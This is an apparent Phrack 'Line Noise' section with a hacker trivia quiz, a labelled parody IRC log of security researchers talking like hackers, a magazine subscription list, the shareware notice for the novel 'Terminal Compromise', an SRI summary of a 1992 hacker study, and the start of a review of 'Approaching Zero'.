19) What BBS raid spawned the headlines "Whiz Kids Zap Satellites" ?

20) CLASS

21) What computer responds "OSL, Please" ?

22) RACF secures what OS?

23) The first person to create a glider gun got what?

24) QRM

25) PSS

26) What PSN was acquired by GTE Telenet?

27) 914‑725‑4060

28) April 15, 1943

29) 8LGM

30) WOPR

31) What happened on March 1, 1990?

32) Port 79

33) Who starred in the namesake of Neil Gorsuch's UNIX security mailing list?

34) What Dutch scientist did research in RF monitoring?

35) What was the author of GURPS Cyberpunk better known as?

36) Who would "Piss on a spark plug if he thought it would do any good?"

37) What thinktank did Nickie Halflinger escape from?

38) NCSC

39) Who is Pengo's favorite astronomer?

40) What language was Mitnik's favorite OS written in?

41) Abdul Alhazred wrote what?

42) The answer to it all is?

43) Who is the father of computer security?

44) Who wrote VCL?

45) What kind of computer did Cosmo have?

46) Hetfield, Ulrich, Hammet, Newstead

47) What company wrote the computer game "Hacker?"

48) Who does Tim Foley work for?

49) Who played Agent Cooper?

50) Vines runs over what OS?

51) Mr. Peabody built what?

52) Who makes SecurID?

53) What's in a Mexican Flag?

54) Who created Interzone?

55) JAMs (as led by John Dillinger)

56) Abbie Hoffman helped start what phreak magazine?

57) What was once "Reality Hackers?"

58) Gates and Allen "wrote" BASIC for what computer?

59) Tahoe is related to what OS?

60) CPE 1704 TKS is what?

61) Telemail's default was what?

62) "Do Androids Dream of Electric Sheep" became what?

63) What broadcasts between roughly 40 and 50 mhz?

64) Who created Tangram, Stratosphere, and Phaedra among others?

65) What was Flynn's most popular video game?

66) Who lived in Goose Island, Oregon?

67) 516‑935‑2481

68) What is the security of ComSecMilNavPac?

69) What has the "spiral death trap?"

70) Who was the Midnight Skulker?

71) TMRC

72) Who wrote "Jawbreaker?"

73) 213‑080‑1050

74) What is the Tetragrammaton represented as?

75) Who is Francis J. Haynes?

76) Who ran into one of the Akira test subjects?

77) What had "Munchies, Fireballs and Yllabian Space Guppies?"

78) PARC

79) Alex and his droogs hung out where?

80) Jane Chandler in DC's "Hacker Files" is based on who?

81) The Artificial Kid lives on what planet?

82) 208057040540

83) What are the two most common processors for cellular phones?

84) Who came up with the term "ICE?"

85) What group is hoped might help the "Angels" contact RMS?

86) Who is Akbar's friend?

87) What company's games was David Lightman after?

88) 26.0.0.0

89) Who was Mr. Slippery forced to locate?

90) Who is "The Whistler?"

91) What use would a 6.5536 crystal be?

92) .‑‑. .... .‑. .‑ ‑.‑. ‑.

93) The Dark Avenger likes what group?

94) What book spawned the term "worm?"

95) Michael in "Prime Risk" wanted money for what?

96) Automan's programmer worked for who?

97) What signal filled in keystrokes on TOPS‑20?

98) ITS

99) (a/c)+121

100) What drug kept the scanners sane?

Bonus 1

3 pts Name three bodies of work by Andrew Blake.

Bonus 2

3 pts Name three currently available titles with N. L. Kuzma.

Bonus 3

4 pts Why would I hate Angel Broadhurst?

****************************************

IF SECURITY TYPES WERE K‑RAD

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IRC log started Fri June 18 01:14

*** Value of LOG set to ON

<Pat> bye peter

*** Signoff: hackman (slavin' to da' MAN at TRW)

<Ed> Dudez, I HATE filling out thez incident Rep0rtz

<bartman> MUAHAHA Tuff J0b edd1e!

<Ed> Funni

*** zen (zen@death.corp.sun.com) has joined channel #CERT

<Ed> re dan, just missed yer pal peety

<Pat> Hi Dan!

<zen> pal? right. ask the wife...

<venom> re

<zen> d00dz, we have SO many bugz. sux 2 be me.

*** venom has left channel #CERT

*** venom (weitse@wzv.win.tue.nl) has joined channel #CERT

*** venom has left channel #CERT

*** venom (weitse@wzv.win.tue.nl) has joined channel #CERT

*** venom has left channel #CERT

*** venom (weitse@wzv.win.tue.nl) has joined channel #CERT <venom> ARG!

<bartman> WTF Weitse?

<venom> s0rri

<zen> Where is everyone? Anyone seen spaf?

<Pat> I have. He was going to install something. He should be bak. <zen> ah

*** Action: Ed throws darts at a cracker

<zen> heh

<venom> muaha

*** bartman is now known as Cracker

*** Action: Cracker hacks Cert with an axe

<venom> dats a good 1

*** Action Ed kicks cracker in the nuts

<Cracker> OUCH!

*** Signoff: donn (Bad Link?)

<Cracker> [high voice] fuk u CERT!

<Ed> heh.

*** Action: Pat is ROFL

<Cracker> wonder who's on #hack? Mebbe i should go log em.

<Ed> Yeah. Oh hey, I got certbot online. Ill send it to go log. *** certbot (ed@cert.org) has joined channel #CERT

*** certbot has left channel #CERT

<Ed> this will be fun.

<venom> Hey, letz deop them and take over the channel.

<zen> thats L A M E

<Cracker> Ooooh. OPWARZ! I'll go make their channel +i muahaha *** Cracker has left channel #CERT

*** Casper (casper@fwi.uva.nl) has joined channel #CERT

<Casper> re all

<Venom> hey dik‑head.

<zen> re

<Pat> hahahaha hi d00d.

<Casper> funni whitesey venombreath

<Ed> lame.

*** donn (parker@bandit.sri.com) has joined channel #CERT

<donn> 'sup?

<Ed> re, oh great bald one

<donn> eat me

<zen> bahhahaha

<Pat> Now now boyz.

*** spaf (spaf@cs.purdue.edu) has joined channel #CERT

<Pat> Spaffie!

<zen> 3l33t SPAF!

<Ed> re spaf

<spaf> Yo.

<venom> spaf...your book sucks.

<spaf> oh fuck off dutch boy.

<Casper> HEY!$!@%

*** spaf has been kicked off channel #CERT by Casper

<venom> thx dude

<Ed> oh gawd...feetball

*** spaf (spaf@cs.purdue.edu) has joined channel #CERT

<spaf> lame

*** Mode change "+o ‑o spaf Casper" on channel #CERT by Pat <spaf> thanks sweetie.

<Casper> op!

*** Mode change "+o Casper" on channel #CERT by venom

<Casper> thx d00d

<Ed> Hey dan, you got those patches online?

<zen> maybe. What YOU got?

<donn> WAREZZ

<Pat> heh

<Ed> I dunno. Ill dcc you a filelist.

<zen> kool

*** zardoz (neil@cpd.com) has joined channel #CERT

<zardoz> HEY ... anyone want to contribute to my new list?

<Ed> not me

<zen> mebbe. Whats this one called? Coredoz?

<donn> what list?

<spaf> BAH. Fuck your list man. More crackrs have them than we do! <zardoz> who pissed in your coffee gene?

<donn> heh

*** zardoz is now known as neil

<spaf> bah... I'm sick of those dicks using my own holes against me! <venom> Your holes? Yer a‑hole?

<Pat> What is your list about this time?

<neil> same thing. Its called REWT!

*** neil is now known as REWT

<REWT> SEND ME YER BUGZ!@#

*** Action: spaf sends REWT a 50 gig coredump

<Pat> :)

<REWT> u r lame.

*** REWT is now known as neil

<Ed> I hate these reports. I wish I got to travel more.

<Pat> come see me!

<Casper> oooohhhh....netsex!

<spaf> tramp. :P

*** bill (whmurray@dockmaster.ncsa.mil) has joined channel #CERT <bill> word!

<Pat> hi bill.

<donn> Bill! D00d! I am gonna be in Ct. next week!

<bill> RAD! call me voice at werk. we'll thrash!

<donn> you know it!

<zen> oh puh‑lease...the geriatric partiers :)

<donn> farmboy

<Ed> ***** ***** ***** *****

<Ed> * * * * *

<Ed> * *** **** *

<Ed> * * * * *

<Ed> ***** ***** * * *

<Ed>

<Ed> ***** * * * ***** *****

<Ed> * * * * * * *

<Ed> **** * * * *** *****

<Ed> * * * * * * *

<Ed> * * ***** ***** ***** *****

<Pat> No DUMPING!

<zen> cert freshens your breath

<donn> ACK!

<venom> hee! certs haha

*** ray (kaplan@bpa.arizona.edu) has joined channel #CERT

<ray> hey guys!

<Ed> ugh. Cracker lover alert.

<donn> commie

<bill> Hey ray, come to snoop for your little cracker friends? <ray> come on, give it a rest guys.

<Pat> hi ray

<venom> ?

*** Action: spaf spits on ray

<spaf> heh

*** ray has been kicked off channel #CERT by spaf

*** Mode change "+b *!*@bpa.arizona.edu" on channel #CERT by spaf <neil> hey I wanted to talk to him about my list...

<spaf> tough shit.

<donn> heh.

*** bartman (ddrew@opus.tymnet.com) has joined channel #CERT <Pat> re

<Ed> how goes the takeover?

<venom> didja kick em?

<bartman> #hack is +i! muahahaha

<zen> how exciting. not

<donn> they deserve it...they are all punks.

<spaf> hmm..did you get emails? I may want to call their admins. <bartman> nope damn.

<Ed> certbot was there. He got it.

<spaf> coolness

*** Signoff: bill (Bad link?)

<Casper> ne1 going to hactics thing?

<venom> me

<Casper> besides you. duh.

<Ed> dunno.

<bartman> not me. I have no desire to pay for anything done by hackers <Ed> That reminds me. Did anyone subscribe to Phrack?

<Pat> nope.

<bartman> oops. HAHAHAHAHAHA

<Ed> heh.

<donn> Whats phrak?

<neil> nope. my list is better. Who wants on it?

<Pat> me!

<donn> what list?

<Pat> OOH! I have mail! bye!

<bartman> itz an ansi bomb!

<Ed> bye Pat

<Spaf> l8r

<neil> heh.

*** Signoff: Pat (Hugs to all)

<Casper> well, i better do something productive 2. cya

<venom> slatez d00d.

*** Signoff: Casper (Hi ho hi ho its off to work I go)

<donn> man its late. I better go. I gotta speech in the morn <Ed> you are getting old.

<donn> am not

<Ed> are so

<donn> am not

<Ed> are too! infinity

<donn> hasta

*** Signoff: donn (|/dev/null)

<Ed> laterz

<Spaf> geez. what a bunch of lamers.

(ray/#CERT) UNBAN ME!

<Spaf> hahaha

<Ed> never gives up does he?

<neil> seriously ed, Ive helped you guys out, send me stuff for REWT. <Ed> ill think about it

<spaf> not

<neil> it will be most savory. I promise. And secure!

<spaf> pfft...and monkeys might fly out of my butt

<Ed> Ill think about it.

<zen> heh, I should do one called Supernova. Exploding suns. hehe <Ed> heh

<spaf> dats tha tr00f!

<bartman> i like my sun

<Ed> i know a bunch of crackerz who like bt's suns too.

<spaf> hahahahahahahahahaha

<venom> oh shit. Im late.

*** Signoff: venom (LATE!)

<Ed> late 4 what?

<spaf> his vasectomy. har har

<neil> heh

*** REVENGE (kaplan@ai.bpb.arizona.edu) has joined channel #CERT *** Mode change "+o REVENGE" on channel #CERT by eff.org

<Ed> whoops

*** Mode change "+i" on channel #CERT by REVENGE

<spaf> fuCK! KICK HIM!

*** spaf has been kicked off channel #CERT by REVENGE

*** neil has been kicked off channel #CERT by REVENGE

*** bartman has been kicked off channel #CERT by REVENGE

*** Ed has been kicked off channel #CERT by REVENGE

*** zen has been kicked off channel #CERT by REVENGE

*** REVENGE is now known as ray

<ray> hehe

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Phrack Library of Periodicals

2600

Subscription Department

P.O. Box 752

Middle Island, NY 11953‑0752

$21.00/Year

Animation Magazine

5889 Kanan Road, Suite 317

Agoura Hills, CA 91301

$21.00/Year

Bank Technology News

Faulkner & Gray, Inc.

Eleven Penn Plaza

New York, NY 10117‑0373

$50.00/Year

Ben Is Dead

P.O. Box 3166

Hollywood, CA 90028

$20.00/Year

Boardwatch Magazine

7586 West Jewell Ave., Suite 200

Lakewood, CO 80232

$36.00/Year

Boing Boing

11288 Ventura Blvd. #818

Studio City, CA 91604

$14.00/Year

Communications of the ACM

1515 Broadway

New York, NY 10036

$30/Year

CQ ‑ The Radio Amateur's Journal

76 North Broadway

Hicksville, NY 11801‑9962

$22.95/Year

Details

P.O. Box 50246

Boulder, CO 80321

12.00/Year

Dirt

230 Park Ave

New York, NY 10169

(Supplement to Sassy & Marvel Comics)

Electronics Now

Subscription Service

P.O. Box 51866

Boulder, CO 80321‑1866

$17.97/Year

Farout

9171 Wilshire Blvd. Suite 300

Beverly Hills, CA 90210

$3.95/Issue

Fate

170 Future Way

P.O. Box 1940

Marion, OH 43305‑1940

$18.00/Year

Femme Fatales

P.O. Box 270

Oak Park, IL 60303

$18.00/Year

Film Threat

Subscriptions Department

P.O. Box 16928

N. Hollywood, CA 91615‑9960

$11.85/Year

Film Threat Video Guide

P.O. Box 3170

Los Angeles, CA 90078‑3170

$12/Year

Fringe Ware Review

P.O. Box 49921

Austin, TX 78765

$12.00/Year

Future Sex

1095 Market Street, Suite 809

San Francisco, CA 94103

$18.00/Year

Gray Areas

P.O. Box 808

Broomall, PA 19008‑0808

$18.00/Year

High Times

P.O. Box 410

Mt. Morris, IL 61054

$29.95/Year

IEEE Spectrum

445 Hoes Lane

P.O. Box 1331

Piscataway, NJ 08855‑1331

800‑678‑IEEE for info

The "I Hate Brenda" Newsletter

c/o Ben Is Dead

P.O. Box 3166

Hollywood, CA 90028

$2.00

InfoSecurity News

P.O. Box 3168

Lowell, MA 01853‑3168

$40.00/Year

International UFO Library Magazine

11684 Vewntura Blvd. #708

Studio City, CA 91604

$15.00/Year

Magical Blend

1461 Valencia St. Dept. GA

San Francisco, CA 94110

$14.00/Year

Midnight Engineering

1700 Washington Ave.

Rocky Ford, CO 81067‑9900

$19.95/Year

Mobile Office

Subscription Department

21800 Oxnard St. Suite 250

Woodland Hills, CA 91367‑9644

$23.90/Year

Mondo 2000

P.O. Box 10171

Berkeley, CA 94709

$24.00/Year

Monitoring Times

P.O. Box 98

140 Dog Branch Road

Brasstown, NC 28902‑0098

$19.95/Year

New Media

P.O. Box 1771

Riverton, NJ 08077‑9771

$48.00/Year

The Nose

1095 Market Street, #812

San Francisco, CA 94103‑9654

$15.00/Year

Nuts & Volts

430 Princeland Court

Corona, CA 91719‑9938

$17.00/Year

Popular Communications

76 North Broadway

Hicksville, NY 11801‑9962

$19.95/Year

Sassy

P.O. Box 50093

Boulder, CO 80321‑0093

$9.97/Year

Security Insider Report

11511 Pine St. North

Seminole, FL 34642

$99.00/Year

SunExpert Magazine

1330 Beacon St.

Brookline, MA 02146‑3202

$60.00/Year

Tech Connect

12407 MoPac Expwy. N. #100‑374

Austin, TX 78758‑2499

$12.00/Year

Telephone Engineer & Management

Advanstar Communications, Inc.

P.O. Box 6100

Duluoth, MN 55806‑9822

$24.00/Year

UFO

1536 S. Robertson Blvd.

Los Angeles, CA 90035

$21.00/Year

Wild Cartoon Kingdom

9171 Wilshire Blvd., Suite 300

Beverly Hills, CA 90210

$3.95/Issue

Wired

P.O. Box 191826

San Francisco, CA 94119‑1826

$20.00/Year

****************************************

!!!!POST EVERYWHERE!!!!

THE WORLD'S FIRST NOVEL‑ON‑THE‑NET (tm) SHAREWARE!!! By Inter.Pact Press

"TERMINAL COMPROMISE" by Winn Schwartau

A high tech thriller that comes from today's headlines!

"The Tom Clancy of computer security."

Assoc. Prof. Dr. Karen Forcht, James Madison University

"Terminal Compromise" is a highly praised novel about the invasion of the United States by computer terrorists.

Since it was first published in conventional print form, (ISBN: 0‑962‑87000‑5) it has sold extremely well world‑wide, but then again, it never hit the New York Times Bestseller List either. But that's OK, not many do.

Recently, someone we know very well came up with a real bright idea. They suggested that INTER.PACT Press take the unprecedented, and maybe slightly crazy, step to put "Terminal Compromise" on the Global Network thus creating a new category for book publishers. The idea is to offer "Terminal Compromise," and perhaps other titles at NOVEL‑ON‑THE‑NET SHAREWARE(tm) rates to millions of people who just don't spend a lot of time in bookstores. After discussions with dozens of people ‑ maybe even more than a hundred ‑ we decided to do just that. We know that we're taking a chance, but we've been convinced by hackers and phreakers and corporate types and government representatives that putting "Terminal Compromise" on the net would be a fabulous step forward into the Electronic Age, (Cyberspace if you will) and would encourage other publishers to take advantage of electronic distribution. (It's still in the bookstores, though.)

To the best of our knowledge, no semi‑sorta‑kinda‑legitimate ‑publisher has ever put a complete pre‑published 562 page book on the network as a form of Shareware. So, I guess we're making news as well as providing a service to the world's electronic community. The recommended NOVEL‑ON‑THE‑NET SHAREWARE fees are outlined later (this is how we stay in business), so please read on.

WE KEEP THE COPYRIGHTS!

"Terminal Compromise" is NOT being entered into the public domain. It is being distributed electronically so hundreds of thousands more people can enjoy it and understand just where we are heading with our omnipresent interconnectedness and the potential dangers we face. INTER.PACT Press maintains all copyrights to "Terminal Compromise" and does not, either intentionally or otherwise, explicitly or implicitly, waive any rights to this piece of work or recourses deemed appropriate. (Damned lawyers.)

(C) 1991, 1992, 1993, Inter.Pact Press

TERMINAL COMPROMISE ‑ THE REVIEWS

" . . . a must read . . ."

Digital News

"Schwartau knows about networks and security and creates an interesting plot that will keep readers turning the pages." Computer World

"Terminal Compromise is fast‑paced and gripping. Schwartau explains complex technology facilely and without condescension." Government Computer News

"An incredibly fascinating tale of international intrigue . . . action . . . characterization . . . deserves attention . . . difficult to imagine a more comprehensive resource."

PC Laptop

"Schwartau . . . has a definite flair for intrigue and plot twists. (He) makes it clear that the most important assets at risk are America's right to privacy and our democratic ideals." Personal Identification News

"I am all too familiar with the appalling realities in Mr. Schwartau's book. (A) potentially catastrophic situation." Chris Goggans, Ex‑Legion of Doom Member.

" . . . chilling scenarios . . . ", "For light summer reading with weighty implications . . . ", " . . . thought provoking, sometimes chilling . . . "

Remember, it's only fiction. Or is it?

TERMINAL COMPROMISE: SYNOPSIS

"It's all about the information . . . the information." From "Sneakers"

Taki Homosoto, silver haired Chairman of Japan's huge OSO Industries, survived Hiroshima; his family didn't. Homosoto promises revenge against the United States before he dies. His passionate, almost obsessive hatred of everything American finally comes to a head when he acts upon his desires.

With unlimited resources, he comes up with the ultimate way to strike back at the enemy. Miles Foster, a brilliant 33 year old mathematician apparently isn't exactly fond of America either. The National Security Agency wanted his skills, but his background and "family" connections kept him from advancing within the intelligence community. His insatiable ‑ borderline psychoticsex drive balances the intensity of waging war against his own country to the highest bidder.

Scott Mason, made his fortune selling high tech toys to the Pentagon. Now as a New York City Times reporter, Mason understands both the good and the evil of technology and discovers pieces of the terrible plot which is designed to destroy the economy of the United States.

Tyrone Duncan, a physically huge 50‑ish black senior FBI agent who suffered through the Hoover Age indignities, befriends Scott Mason. Tyrone provides the inside government track and confusion from competing agencies to deal with the threats. His altruistic and somewhat pure innate view of the world finally makes him do the right thing.

As Homosoto's plan evolves, Arab zealots, German intelligence agents and a host of technical mercenaries find the weaknesses in our techno‑economic infrastructure. Victims find themselves under attack by unseen adversaries; Wall Street suffers debilitating blows; Ford and Chrysler endure massive shut downs. The U.S. economy suffers a series of crushing blows.

From the White House to the Pentagon to the CIA to the National Security Agency and FBI, a complex weaving of fascinating political characters find themselves enmeshed a battle of the New World Order. Sex, drugs, rock'n'roll: Tokyo, Vienna, Paris, Iraq, Iran. It's all here.

Enjoy reading "Terminal Compromise."

SHAREWARE ‑ NOVEL FEES:

We hope that you enjoy "Terminal Compromise" as much as everyone else has, and that you will send us a few shekels according to the following guidelines.

The NOVEL‑ON‑THE‑NET SHAREWARE(tm) fees for us as a publishing company are no different than the fees for software application shareware publishers, and the intent is the same. So please, let us continue this form of publishing in the future.

NOVEL‑ON‑THE‑NET SHAREWARE Fees For The People:

The suggested donation for individuals is $7. If you hate Terminal Compromise after reading it, then only send $6.50. If you're really, really broke, then tell a hundred other people how great it was, send us a rave review and post it where you think others will enjoy reading it, too. If you're only a little broke, send a few dollars. After all, this is how we stay in business. With each registration, we will also send a FREE! issue of "Security Insider Report," a monthly security newsletter also published by Inter.Pact Press.

NOVEL‑ON‑THE‑NET SHAREWARE Fees For Businesses:

We hope that you put "Terminal Compromise" on your internal networks so that your employees will have the chance to enjoy it as well. It's a great way to increase security awareness amongst this country's 50,000,000 rank and file computer users. Plus, it's a hell of a good read.

One company plans on releasing a chapter every few days throughout its E‑Mail system as a combination of security awareness and employee 'perc'. Try it; it works and your employees will appreciate it. Why? Because they'll all talk about it bringing security awareness to the forefront of discussion.

FEES

Distribution for up to 100 people on a single network: $ 500 (Includes 1 Year subscription to "Security Insider Report.")

Distribution for up to 1000 people on a single network: $ 3000 (Includes 10 1 Year subscriptions to "Security Insider Report.")

Distribution for up to 2500 people on a single network: $ 6250 (Includes 1 Year electronic Corporate site license to "Security Insider Report.")

Distribution for up to 5000 people on a single network: $ 10000 (Includes 1 Year electronic Corporate site license to "Security Insider Report.")

Distribution for up to 10000 people on a single network: $ 15000 (Includes 1 Year electronic Corporate site license to "Security Insider Report.")

Distribution for up to 25000 people on a single network: $ 25000 (Includes 1 Year electronic Corporate site license to "Security Insider Report.")

Distribution for more than that ‑ Please call and we'll figure it out. Would you like us to coordinate a special distribution program for you? Would you like in Postscript or other visual formats? Give us a call and we'll see what we can do.

* * * * * * * * *

Please DO NOT UPLOAD AND DISTRIBUTE "Terminal Compromise" into your networks unless you intend on paying the recommended fees.

* * * * * * * * *

NOVEL‑ON‑THE‑NET SHAREWARE Fees for Universities: FREE!

"Terminal Compromise" has been used by many schools and universities as a teaching supplement. Recognized Educational institutions are entitled to use "Terminal Compromise" at NO COST, as long as you register with us that you are doing so. Please provide: School name, address, etc., the course, the instructor, and the reason for using it. Also, we'd like to hear from you and tell us how it went. Thanks.

SHAREWARE‑NOVEL Fees for Local, State and Federal Governments.

You have the money. :‑) Please send some back by following the same fee guidelines as those for businesses.

Government employees: You are The People ‑ same fees are appreciated.

* * * * * * * * *

Agencies: Do not upload and distribute "Terminal Compromise" unless you plan on paying the fees.

* * * * * * * * *

NOVEL‑ON‑THE‑NET SHAREWARE Fees for the International Community Make payments in $US, please.

GETTING TERMINAL COMPROMISE:

You can get your copy of Terminal Compromise from a lot of sites; if you don't see it, just ask around. Currently the novel is archived at the following sites:

ftp.netsys.com

/pub/novel

wuarchive.wustl.edu

/doc/misc

soda.berkeley.edu

/pub/novel

It consists of either 2 or 5 files, depending upon how you receive it. (Details at end of this file.)

Feel free to post all five files of "Terminal Compromise" anywhere on the net or on public or private BBS's as long as this file accompanies it as well.

Please forward all NOVEL‑ON‑THE‑NET SHAREWARE fees to:

INTER.PACT PRESS

11511 Pine St. N.

Seminole, FL., 34642

Communications:

Phn: 813‑393‑6600

Fax: 813‑393‑6361

E‑Mail: p00506@psi.com

wschwartau@mcimail.com

We will accept checks, money orders, and cash if you must, and we mean if you must. It's not the smartest thing in the world to send cash through the mail. We are NOT equipped at this point for credit cards.

Remember, "Terminal Compromise is copyrighted, and we will vigorously pursue violations of that copyright. (Lawyers made us say it again.)

If you ABSOLUTELY LOVE "Terminal Compromise," or find that after 50 pages of On‑Screen reading, you may want a hard copy for your bookshelf. It is available from bookstores nationwide for $19.95, or from Inter.Pact directly for $19.95 + $3.50 shipping and handling. If you first paid the $ 7 NOVEL‑ON‑THE‑NET SHAREWARE fee, send in proof and we'll deduct $ 7 from the price of the hard copy edition.

ISBN: 0‑962‑87000‑5

Enjoy "Terminal Compromise" and help us make it an easy decision to put more books on the Global Network.

Thank you in advance for your attention and your consideration.

The Publishers,

INTER.PACT Press

READING "TERMINAL COMPROMISE"

"Terminal Compromise" will come to you in one of two ways:

1) Original Distribution Format From Inter.Pact Press contains only two ‑2‑ files.

TC_READ.ME 13,927 Bytes

That is this file you are now reading and gives an overview of "Terminal Compromise" and how NOVEL‑ON‑THE‑NET Shareware works.

TERMCOMP.ZIP 605,821 Bytes

This is the total content of "Terminal Compromise". Run PKUNZIP to expand the file into four ‑4‑ readable ASCII files.

2) Some locations may choose to post "Terminal Compromise" in readable ASCII form. There will then be four files in addition to the TC_READ.ME file.

TERMCOMP.1 250,213 Bytes

contains the Introduction and Chapters 1 through 5.

TERMCOMP.2 337,257 Bytes

contains Chapters 6 through 14.

TERMCOMP.3 363,615 Bytes

contains Chapters 15 through 21.

TERMCOMP.4 388,515 Bytes

contains Chapters 22 through 30 and the Epilogue.

Enjoy "Terminal Compromise!" and pass it on to whomever you think would enjoy it, too!

Thank You!

****************************************

THE STATE OF SECURITY IN CYBERSPACE

SRI International conducted a worldwide study in 1992 of a broad range of security issues in "cyberspace." In brief, cyberspace is the full set of public and private communications networks in the United States and elsewhere, including telephone or public switched telephone networks (PSTNs), packet data networks (PDNs) of various kinds, pure computer networks, including the Internet, and wireless communications systems, such as the cellular telephone system. We did not address security vulnerabilities associated with classified, secure communications networks used by and for governments.

The study was conducted as part of our ongoing research into the vulnerabilities of various software components of cyberspace. Our approach was to conduct research through field interviews with a broad range of experts, including people we characterize as "good hackers," about security issues and vulnerabilities of cyberspace and the activities of the international "malicious hacker" community.

While the specific results of the study are proprietary to SRI, this brief report summarizes our general conclusions for the many individuals who kindly participated in our field interviews. As we indicated during our field interviews, the original research for this project was not part of any other kind of investigation, and we have not revealed the identify of any of our respondents.

The study aimed to understand "malicious hackers," that is, people who have and use the technical knowledge, capability, and motivation to gain unauthorized access, for various reasons, to systems in cyberspace. It is important to understand that by no means all hackers are malicious nor does most hacking involve unauthorized access to cyberspace systems; indeed, only a small fraction of computer hacking involves such activities but gives hacking an otherwise undeserved bad reputation. While we attempted to focus on technical (software) vulnerabilities, our interviews led us to look more at the broader motivations and different approaches to cracking into various networks and networked systems.

MAIN CONCLUSIONS

Our main conclusion is that social, organizational, and technological factors still combine in ways that make much of cyberspace relatively vulnerable to unauthorized access. The degree of vulnerability varies from one type of communications system to another. In general, the PSTN is the least vulnerable system, the PDNs are somewhat more vulnerable than the PSTN, the Internet is relatively insecure, and as is widely known, the cellular phone system is the most vulnerable of the four major areas we addressed.

The main vulnerabilities in most communications networks involves procedural, administrative, and human weaknesses, rather than purely technical vulnerabilities of network management, control systems, and hardware, and software. There are technical vulnerabilities‑‑poor system design and specific security flaws in software‑‑but they are mainly exploitable because of the above problems.

Highlights of the study's conclusions include:

o Malicious attacks on most networks and networked systems cannot be completely prevented, now or in the future. More than enough information is publicly available to hackers and other technically‑literate people to preclude attempts at prevention of intrusions.

o It is possible individuals or groups could bring down individual systems or related groups of systems, on purpose or by accident. However, security is generally improving as a result of dealing with past threats and challenges to system security. For instance, responses to the most recent serious threat to the Internet, the so‑called Internet Worm in 1989, included improved security at sites vulnerable to this sort of worm.

o We found no evidence that the current generation of U.S. hackers is attempting to sabotage entire networks. On the contrary, doing so is inconsistent with the stated ethics and values of the hacker community, which are to explore cyberspace as a purely intellectual exercise without malicious intent or behavior. Some individuals who operate outside this informal ethical framework, however, can and do damage specific systems and occasionally use systems for personal gain or vindictive activities.

o There is some evidence that the newest generations of hackers, may be more motivated by personal gain than the traditional ethic of sheer curiosity. This development could mean that networks and networked systems could become more likely targets for attacks by hardened criminals or governments' intelligence services or their contractors (i.e., employing malicious hackers). This threat does not appear to be significant today but is a possible future scenario.

o The four major areas of vulnerability uncovered in our research have little or nothing to do with specific software vulnerabilities per se. They relate more to the ways in which hackers can gain critical information they need in order to exploit vulnerabilities that exist because of poor systems administration and maintenance, unpatched "holes" in networks and systems, and so on.

‑ The susceptibility of employees of businesses, public organizations, schools, and other institutions to "social engineering" techniques

‑ Lax physical and procedural controls

‑ The widespread availability of non‑proprietary and of sensitive and proprietary information on paper about networks and computer systems ‑ The existence of "moles," employees of communications and computer firms and their suppliers who knowingly provide proprietary information to hackers.

o The vulnerabilities caused by shortcomings in software‑based access controls and in hardware‑related issues constitute significantly lower levels of risk than do the four areas discussed above on more secure networks such as the PSTN and PDNs. However, on the Internet and similar systems, software‑based access controls (for instance, password systems) constitute significant problems because of often poor system maintenance and other procedural flaws.

RECOMMENDATIONS

Based on our research, we recommend the following:

1. Protection of organizational information and communications assets should be improved. Issues here range from those involving overall security systems to training employees and customers about maintenance of security on individual systems, handling and disposition of sensitive printed information, and dealing with "social engineering."

2. Techniques used to protect physical assets should be improved. For example, doors and gates should be locked properly and sensitive documents and equipment guarded appropriately.

3. Organizations and their employees should be made aware of the existence and role of moles in facilitating and enabling hacker intrusions, and care taken in hiring and motivating employees with the mole problem in mind.

4. Software‑ and hardware‑based vulnerabilities should also be addressed as a matter of course in systems design, installation and maintenance.

5. Organizations concerned with information and communications security should proactively promote educational programs for students and parents about appropriate computer and communications use, personal integrity and ethics, and legitimate career opportunities in the information industry, and reward exemplary skills, proficiency and achievements in programming and ethical hacking.

6. Laws against malicious hacking should be fairly and justly enforced.

SRI's believes that the results of this study will provide useful information to both the operators and users of cyberspace, including the hacker community. We are planning to continue our research in this area during 1993 within the same framework and conditions (i.e., anonymity of all parties and organizations) as we conducted the 1992 research. We invite hackers and others who are interested in participating in this work through face‑to‑face, telephone or email interviews should contact one of the following members of the SRI project team:

A. J. Bate

SRI International

Phone: 415 859 2206

Fax: 415 859 3154

Email: aj_bate@qm.sri.com,

aj@sri.com

Stuart Hauser

SRI International

Phone: 415 859 5755

Fax: 415 859 3154

Email: stuart_hauser@qm.sri.com

Tom Mandel

SRI International

Phone: 415 859 2365

FAX: 415 859 7544

Email: mandel@unix.sri.com

Line Noise Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 5 of 27

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

(cont)

****************************************

`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'

'`

`' Approaching Reality: `'

'` ~~~~~~~~~~~~~~~~~~~~

`' A review of the new book Approaching Zero `'

'` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

`' by Aleph One `'

'` ~~~~~~~~~~~~

`'

'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`

When I started to read this book, I expected to read one more of the series of books that claim to be the "definitive history of the computer underworld" and the "first book to define the technological subculture of phreaking, hacking, and virus writing". After all what does a guy that writes for GQ, The Hollywood Reporter, Variety and Time know about the computer underground? Well to my surprise the authors, Paul Mungo and Bryan Clough (a member of the Virus Strategy Group, which is coordinated by New Scotland Yard's Computer Crime Unit), did a pretty good job at presenting the facts as they are. For the first time I heard a reporter and a computer crime expert give real figures at how much computer crime has really cost. Other than a few minor technical errors and the fact that they fail to mention some people and groups (especially in the virus section), the book was enjoyable to read.

The book covers the history of the underground starting with its beginnings in the 60's, from phreaking to the adventures of Captain Crunch and the rest of the bunch to the not so long ago Operation Sundevil and the raids all over the country on members of the LOD, MOD and DPAC. It also goes through the events that led to the German hackers spy trials, and to the new generation of virus writers that are creating the new kind of living organisms that roam cyberspace. They also discuss the gray scale that categorizes hackers, from the good hackers to the bad to the ones not that bad... those who are in it for profit and those who are in it to learn. Hopefully all the readers of the book, hackers, security specialists, reporters and the general public will get a better understanding of what motivates hackers to do what they do by learning where they come from. To the hackers let them learn not to repeat their past errors.

